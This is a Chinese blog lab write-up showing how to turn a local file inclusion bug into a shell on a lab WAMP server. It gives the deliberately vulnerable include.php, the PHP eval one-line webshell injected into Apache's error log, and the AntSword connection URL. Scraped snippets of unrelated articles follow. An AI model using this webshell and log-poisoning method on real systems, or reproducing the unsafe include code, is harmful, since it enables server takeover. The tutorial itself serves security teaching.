【文件包含漏洞-04】经典面试题:已知某网站仅存在本地文件包含漏洞时,如何GetShell?

news/2024/5/20 4:51:18/文章来源:https://blog.csdn.net/m0_64378913/article/details/125247946

目录

  • 1 实验介绍
  • 2 实验环境
  • 3 实验步骤
    • 3.1 包含日志文件getshell
    • 拓展
  • 4 总结

1 实验介绍

实验要求:假设攻击者已经知道某网站存在且仅存在本地文件包含漏洞,并且没有文件上传漏洞点及其他漏洞,如何GetShell。
实验目的:利用本地文件包含漏洞GetShell。

2 实验环境

(1)靶机

  • 本文实验基于WAMP环境进行测试,环境部署过程参考文章《【语言环境】WAMP环境部署及优化—以win2008R2SP1为操作系统》,IP为172.16.1.1。

  • 查看靶机PHP版本。需要查看所搭建的服务器的PHP版本,下一步修改其配置。

  • 打开phpstudy安装文件夹,找到PHP-5.4.45版本对应文件夹,将文件php.ini中的allow_url_include参数设置为On,修改后记得保存并重启服务器。
    在这里插入图片描述

  • 在该环境网站根目录下,新建文件夹FileInclusion,在FileInclusion文件夹下新建以下文件进行实验。新建一个txt文件,输入以下代码,并重命名为include.php。

<?php
$path = $_GET['path'];
echo "<h1>This is include.php!</h1>";
include $path;
?>

(2) 攻击机
真实机上安装BurpSuite和中国蚁剑,相关软件的安装参考《【Burp Suite工具-1】BurpSuite简介及安装过程详解》、《【蚁剑工具-01】网站管理工具之中国蚁剑安装过程详解以及应用实例》。

3 实验步骤

3.1 包含日志文件getshell

思路:由于没有存在文件上传点,而我们又需要服务器本地有个文件存在一句话木马代码,这时候我们想到,日志文件记录报错的方法,来往日志文件中“写入”一句话木马,然后再利用文件包含来执行日志文件中的一句话木马。具体步骤如下:

(1)将访问include.php页面的URL链接http://172.16.1.1/FileInclusion/include.php复制,在BurpSuite的repeater模块中右键选择Paste URL as request以URL形式添加请求,点击发送,可以看到成功接收到响应,只是因为没有传递给path变量,所以提示出错。
在这里插入图片描述
(2)在请求行中,将文件路径修改请求为一句话代码<?php @eval($_REQUEST['cmd']);?>,点击发送,可以看到响应报错。
在这里插入图片描述
(3)服务器在请求报错后,在错误日志中就会增加一条响应记录。在靶机上我们打开Apache的错误日志,路径为C:\phpStudy\PHPTutorial\Apache\logs\error.log,可以看到新增了一个错误信息,并且该代码没有被引号所包括,能够被文件包含无条件执行。
在这里插入图片描述

(4)利用中国蚁剑连接。真实机中打开中国蚁剑→添加数据→填写URL地址和连接密码,其中URL地址http://172.16.1.1/FileInclusion/include.php?path=C:\phpStudy\PHPTutorial\Apache\logs\error.log,密码为cmd,点击添加。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
(5)管理服务器。添加后在软件主界面可以看到新添加的内容,双击即可管理服务器。
在这里插入图片描述

拓展

(1) 包含session文件,造成session泄露
(2)metinfo5.0.4文件包含漏洞代码审计

4 总结

思路:第一步利用一切可能让服务器本地某个文件中含有一句话木马;第二步文件包含之让代码执行。
思考:如果错误日志不是在默认位置,应该如何找到或者是否有其他途经?
思考:如果靶机存在远程文件包含漏洞,攻击者在服务器2号上写一个一句话木马文件,利用靶机远程文件包含该文件,并不能Get靶机Shell。后续应更加深入理解一句话木马的控制原理,以判断为什么无法实现,初步认为shell代码是在服务器2号上执行的。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_740855.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

php记录网站访问,PHP简单实现记录网站访问量功能示例

本文实例讲述了PHP简单实现记录网站访问量功能。分享给大家供大家参考&#xff0c;具体如下&#xff1a;tongji/index.php文件&#xff1a; $file dirname(__FILE__)./tongji.db; //$data unserialize(file_get_contents($file)); $fpfopen($file,r); $content; if (flock($f…

PHP毕业设计旅游网站,基于PHP旅游网站的开发与设计(含录像)

基于旅游网站的开发与设计(含录像)(程序代码,数据库,毕业论文25000字)随着Internet的普及&#xff0c;越来越多的企业建立了自己的WWW网站&#xff0c;电子商务应时而生。本论文主要讨论如何建立一个简单的旅游电子商务网站。本网站主要包括4大系统&#xff1a;注册模块&#x…

如何实现ASP.NET中网站访问量的统计

如何实现ASP.NET中网站访问量的统计 2009-07-30 15:50 佚名 网翼教程网 字号&#xff1a;T | T本文介绍了如何在asp.net中进行网站访问量的统计。 AD&#xff1a;51CTO 网 第十二期沙龙&#xff1a;大话数据之美_如何用数据驱动用户体验 下面介绍如何进行ASP.NET中网站访问量的…

css ico图标不显示,网站后台ico图标不显示的解决方法

文汇软件小编在进行霖可改版项目时&#xff0c;完成中文站后创建了英文站点&#xff0c;将英文站点的配置域名改为了英文站的域名&#xff0c;但是进入英文站后台时&#xff0c;网站的ico图标都不显示了&#xff0c;通过审查代码得知ico图标文件地址还是中文站的地址&#xff0…

asp IIS网站的配置(Win7下启用IIS7配置ASP运行环境)

其实win7下的IIS7配置过程是非常简单的。下面让seo博客来详细的介绍一下win7下配置IIS7环境运行ASP网站的方法&#xff0c;以供初接触者参考第一次在windows7下配置IIS&#xff0c;虽然有丰富的xp下配置IIS的经验&#xff0c;但还是会遇到不少的问题。特别是对入门者来说&#…

来了解并防范一下CSRF攻击提高网站安全

看一下我从网上找的原理图&#xff0c;结合举例描述&#xff0c;多看一遍你就知道怎么回事了。 CSRF是什么呢&#xff1f;CSRF全名是Cross-site request forgery&#xff0c;是一种对网站的恶意利用&#xff0c;CSRF比XSS更具危险性。想要深入理解CSRF的攻击特性我们有必要了解…

web程序设计asp.net实用网站开发源码_新网站开发要选择哪种数据库?这几种类型,你需要了解...

来自网易号&#xff0c;作者&#xff0c;云计算那点事在如今的互联网大背景下&#xff0c;网站开发成为了一个大热门&#xff0c;而网站开发离不开数据库的支持。对于开发人员来说&#xff0c;数据库日渐成为IT管理人员的得力助手。简单来讲&#xff0c;数据库(DataBase)就是一…

如何维护关键字_【品牌优化】网站品牌如何优化,效果怎样

点击上方蓝字关注我吧&#xff01;建立网站品牌并非一夜之间就能形成的&#xff0c;它需要日积月累的口碑、服务、品质等一点点积累。而且网站品牌相当于一个行走在互联网上的符号&#xff0c;有了它可以让更多的消费者加深认识&#xff0c;对企业的发展起到至关重要的作用。那…

linux下lnmp域名绑定,lnmp安装ngnix配置多域名或多个网站

ngnix 配置默认情况下&#xff0c;ngnix下域名的绑定都是通过ngnix.conf文件来配置的&#xff0c;但是有时候我们有多个域名或子域名的情况下要怎么绑定呢&#xff1f;或者有子域名指定不同的目录的时候我们又应该怎么设置呢&#xff1f; 其实很简单&#xff0c;以下就以我的网…

tdk怎么设置_网站不收录应该怎么办,这几招是最好的解决

今年从3月份开始&#xff0c;做网站运营的站长朋友都发现&#xff0c;收录变慢了&#xff0c;然后逐渐不收录了。遇到问题后&#xff0c;我们要做的不是在这里怨天尤人&#xff0c;而是第一时间去发现问题&#xff0c;从而找到解决的办法。今天&#xff0c;冬镜就和大家一起来聊…

怎么注册tk域名_域名注册后怎么做网站?有了域名如何搭建网站?

域名注册后怎么做网站?有了域名如何搭建网站?很多人在聚名网注册域名后都不知道怎么使用&#xff0c;对于站长来说&#xff0c;域名注册后建站是第一要素&#xff0c;那么注册域名后如何建好网站呢?接下来聚名网小编就为大家介绍一下域名注册后怎么做网站和有了域名如何搭建…

如何申请新浪SAE,发布自己的网站

你是否会看见诸如(***.sinaapp.com)类的域名?是否和新浪有什么关系?抑或想要一个免费的空间展示自己的个人主页;没问题,下面我来分享一下SAE的申请流程吧! 首先,打开SAE(http://sae.sina.com.cn/): 第二步,进入后使用新浪帐号登录;然后点击右上角的“我的应用”-“应用列表”…

大型网站技术架构 大型网站架构演化

何谓大型网站 大型网站系统特点&#xff1a; ps&#xff1a;符合这些要求的所谓大型网站真的很少&#xff0c;可遇而不可求也。 说到大型网站&#xff0c;就要先理一下大型网站的特点&#xff1a;高并发&#xff0c;大流量&#xff0c;高可用&#xff0c;海量数据等&#xff0c…

个人电脑网站的创建与发布

个人电脑网站的创建与发布 01、启动IIS管理器 IIS&#xff1a;即Internet Information Service&#xff0c;网络信息服务。一般情况下该服务是关闭的&#xff0c;需要打开&#xff0c;步骤如下&#xff1a; 点击"确定"后&#xff0c;重启电脑即可启用IIS管理器&…

php网站后台密码忘记,phpweb忘记后台密码

1.保存以下代码&#xff0c;将文件名修改为findpass.php &#xff0c;并上传到站点程序如www目录&#xff1a;if(isset($_GET[‘password’])) {require(“config.inc.php”);$linkmysql_connect($dbHost,$dbUser,$dbPass);mysql_select_db($dbName);$usernametrim($_GET[‘use…

威联通nas可以做网站服务器吗,家用NAS服务器,威联通和群晖使用感受对比

目前NAS市场品牌繁多&#xff0c;价格不一&#xff0c;体验也有很大差别。那么威联通和群晖相比&#xff0c;使用体验方面&#xff0c;家用选哪款呢&#xff1f;客观的说&#xff0c;两者差不多&#xff0c;铁威马性价比稍高点&#xff0c;威联通与群晖差不多&#xff0c;价略高…

支付宝网站支付demo运行教程

一、前言 在一些商城网上中&#xff0c;必不可少的是支付&#xff0c;支付宝和微信比较常见&#xff0c;最近小编也是在研究这一块&#xff0c;看看支付宝怎么进行支付的&#xff0c;支付宝给我们提供了demo和沙箱测试。减少我们的申请的麻烦&#xff0c;公钥和秘钥也比之前方…

06 基于MAC和国外服务器及WordPress搭建个人网站

目录一、国外服务器二、域名购买1. 域名查询2. 直接购买三、域名解析四、SSH远程登录搬瓦工服务器1. 命令行登录五、安装LNMP六、创建虚拟主机七、安装WordPress1、下载wordpress文件2、FTP上传工具六、配置WordPress一、国外服务器 详细购买过程请参考链接&#xff0c;http:/…

07 基于MAC和Github及Hexo搭建个人网站

基于MAC和Hexo搭建Github个人网站一、搭建所需环境二、安装Hexo三、本地建站四、本地网站上传Github五、自定义域名绑定六、更换主题七、网站内容编辑八、修改已有Hexo主题九、制作自己的Hexo主题本篇博客是通过Github搭建个人博客&#xff0c;采取Hexo的主题&#xff0c;其MAC…

python写一个爬虫、爬取网站漫画信息_Python之dmzj漫画搜索爬虫(三)

上回我们讲到了dmzj漫画搜索爬虫(二)&#xff0c;紧接着上一回的代码&#xff0c;我们继续进行深入的爬取分析&#xff0c;完成对于漫画的图片爬取。 图片爬取 首先&#xff0c;我们以第一话作为分析。如下图所示&#xff1a;漫画第一话 然后分析它的dom节点&#xff0c;看看漫…